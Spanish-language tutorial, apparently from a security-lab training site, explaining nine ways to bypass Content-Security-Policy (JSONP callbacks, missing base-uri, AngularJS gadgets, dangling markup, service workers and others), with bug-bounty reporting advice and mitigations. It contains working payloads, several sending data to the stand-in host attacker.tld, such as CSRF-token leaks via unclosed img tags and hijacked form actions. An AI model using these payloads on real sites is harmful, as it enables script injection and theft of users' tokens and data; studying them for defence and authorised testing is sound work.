Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoGratis

CSP Bypass — JSONP, base-uri, AngularJS gadgets, dangling markup

Content-Security-Policy roto con strict-dynamic + JSONP, sin base-uri, AngularJS sandbox escapes, JSON hijacking. Cómo escalar XSS cuando el CSP teóricamente bloquea.

Gorka El Bochi9 de mayo de 202613 min

Respuesta rápida

CSP (Content-Security-Policy) es la mitigación principal de XSS en 2026. Pero un CSP "presente" no equivale a "seguro": permite endpoints JSONP, falta base-uri, hay AngularJS o frameworks con gadgets, dominios trusted con upload de archivos, o unsafe-inline en fallback. Cuando hay XSS pero CSP "lo bloquea", buscar bypasses específicos suele convertir un Self-XSS en Stored XSS pleno.


Anatomía de un CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.target.tld 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  connect-src 'self' https://api.target.tld;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  report-uri /csp-report;

Cada directiva puede tener su propio bypass.


Bypass 1 — JSONP en script-src

CSP permite script-src https://googleapis.com. Google APIs tiene endpoints JSONP que ejecutan JS arbitrario via callback param:

html
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

El response es JSON envuelto en el callback:

javascript
alert(1)//(...response...)

alert(1) se ejecuta. CSP pasa porque accounts.google.com (subdominio de googleapis.com en la whitelist) sirve el script.

Lista clásica de JSONP en allowlists comunes:

  • googleapis.com — múltiples APIs Google.
  • cdn.jsdelivr.net con paths a libs antiguas.
  • code.jquery.com (no JSONP pero a veces UI-XSS).
  • Cualquier API de terceros con ?callback= o ?jsonp=.

Detection

Buscar en script-src CDN dominios. Para cada uno, googlear "<domain> JSONP" o <domain> callback param.


Bypass 2 — base-uri ausente + nonce

CSP con nonce:

rust
script-src 'nonce-abc123' 'self';

Si tienes XSS que puede inyectar HTML pero no scripts (porque no conoces el nonce), inyecta una <base> tag:

html
<base href="//attacker.tld/">

El browser hace que TODOS los recursos relativos del documento se resuelvan contra attacker.tld. Si la página luego carga <script src="/main.js">, ahora va a attacker.tld/main.js — el atacante sirve un JS arbitrario.

Mitigación: base-uri 'self' o base-uri 'none'.


Bypass 3 — AngularJS gadgets

Si la página usa AngularJS y el CSP permite script-src 'self' 'unsafe-eval' o solo 'self' y AngularJS está en self:

html
<div ng-app ng-csp>
  <input autofocus ng-focus="$event.composedPath()|orderBy:'(z=alert)(1)'">
</div>

AngularJS evalúa expresiones en atributos. Si está en la página y el atacante mete HTML con directivas ng-*, ejecuta JS aunque CSP esté.

Lista de gadgets en AngularJS bien conocida (HackTricks tiene todos los expression payloads).

Otros frameworks

  • Vue.js con v-html sin sanitizar y CSP que permite el dominio del Vue script.
  • React con dangerouslySetInnerHTML (raro, pero existe).
  • Lodash + helpers transitivos.

Bypass 4 — strict-dynamic con XSS controlling existing scripts

arduino
script-src 'nonce-abc' 'strict-dynamic';

strict-dynamic significa "ignora whitelist, scripts cargados por scripts trusted son OK". Bypass: si XSS te permite inyectar HTML que un script existente convierte en <script> dinámicamente, ese script hereda trust:

javascript
// Código existente en la app
document.body.innerHTML += userInput;  // si userInput contiene <script>, no carga (innerHTML no ejecuta)

// Pero
const scr = document.createElement('script');
scr.src = userInput;
document.body.appendChild(scr);  // SI ejecuta, hereda nonce/trust

Si encuentras gadget que convierte input en script dinámico, bypass.


Bypass 5 — Dangling markup injection

Si CSP bloquea scripts pero no <img> y no style-src 'unsafe-inline':

html
<img src="//attacker.tld/?leak=

Sin cerrar la tag, el browser intenta cargar el src y absorbe TODO lo que viene después como parte de la URL hasta encontrar > o ". Si la siguiente parte de la página tiene un CSRF token o sensible data, viaja al request.

html
<img src="//attacker.tld/?leak=<input name="csrf" value="...">

attacker.tld recibe el csrf token via Referer/URL. Defacement parcial + token leak sin ejecutar JS.

Mitigación: Content-Security-Policy: img-src 'self' o filter <img src> que no termine con >.


Bypass 6 — Cuando script-src tiene wildcard subdomain

arduino
script-src 'self' *.target.tld

Si *.target.tld incluye dominios donde el atacante puede alojar contenido:

  • Subdomain con upload de archivos (PDFs, archivos de usuario).
  • Subdomain con HTML staging del propio user (profile pages, blog posts).
  • Subdomain con CSV/XML que el browser puede interpretar como JS si tipo MIME está mal.
  • Subdomain takeover.

Si uno de los subdominios sirve archivos .js controlados por usuarios → bypass.


Bypass 7 — JSON hijacking (legacy)

Frameworks que retornan JSON sin protección anti-CSRF:

javascript
[
  {"id":1, "secret": "abc"},
  {"id":2, "secret": "def"}
]

Si el endpoint responde JSON y el browser lo interpreta como JS (víctima visita attacker.tld que hace <script src="https://target.tld/api/data">), atacante puede capturar los valores via Object/Array prototype overrides en navegadores antiguos.

Mitigado en navegadores modernos pero vector contra apps con browsers legacy.


Bypass 8 — Service Workers

Si XSS te da control sobre /sw.js (subir archivo o injection en respuesta), puedes registrar Service Worker que intercepta fetches del origin:

javascript
self.addEventListener('fetch', e => {
  if (e.request.url.includes('/api/')) {
    e.respondWith(new Response('attacker controlled response'));
  }
});

Persiste cross-page-load. CSP no aplica a service workers como tal.


Bypass 9 — Form action si form-action ausente

Si CSP no especifica form-action, falla a default-src o se permite. Inyectar:

html
<form action="//attacker.tld" id="f"><input name="x"></form>
<button form="f">Click me</button>

Si víctima escribe en input y submit → datos van a attacker. Bypass de "no inline scripts" via form interaction.


Cómo se reporta

Para que el triage acepte:

  1. PoC funcional que ejecuta alert(document.domain) o leak medible.
  2. CSP completo que demuestra que está aplicado.
  3. Vector completo: ¿de dónde viene el XSS original que estás bypaseando?

CSP bypasses puros sin XSS subyacente suelen ser N/A o Informational. Necesitas la chain.


Hunting checklist

  • ¿CSP en respuesta? Captura el header.
  • ¿script-src permite dominios externos? Buscar JSONP en cada uno.
  • ¿base-uri declarado? Si no, intentar dangling base.
  • ¿AngularJS / Vue / Lodash en la página y permitidos por CSP?
  • ¿strict-dynamic con XSS que pueda crear scripts dinámicamente?
  • ¿img-src permite cualquier URL? Probar dangling markup leak.
  • ¿form-action declarado? Si no, form externo posible.
  • ¿Subdomains en wildcard que permitan upload o XSS staging?

Mitigación correcta

  1. CSP estricta: default-src 'none' como base, añadir solo lo necesario.
  2. script-src 'nonce-RANDOM' 'strict-dynamic'.
  3. base-uri 'none' (rara vez se necesita base href).
  4. form-action 'self'.
  5. frame-ancestors 'none' (mata clickjacking).
  6. No unsafe-inline ni unsafe-eval salvo legacy bien justificado.
  7. report-uri activo para detectar attempts de bypass en producción.
  8. Revisar subdominios whitelisted — ¿pueden hostear contenido user-controlled?

Labs relacionados

Practica CSP bypasses con JSONP, dangling markup, AngularJS gadgets y base-uri injection: labs de CSP bypass.

Practica esto en un lab

Xss

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados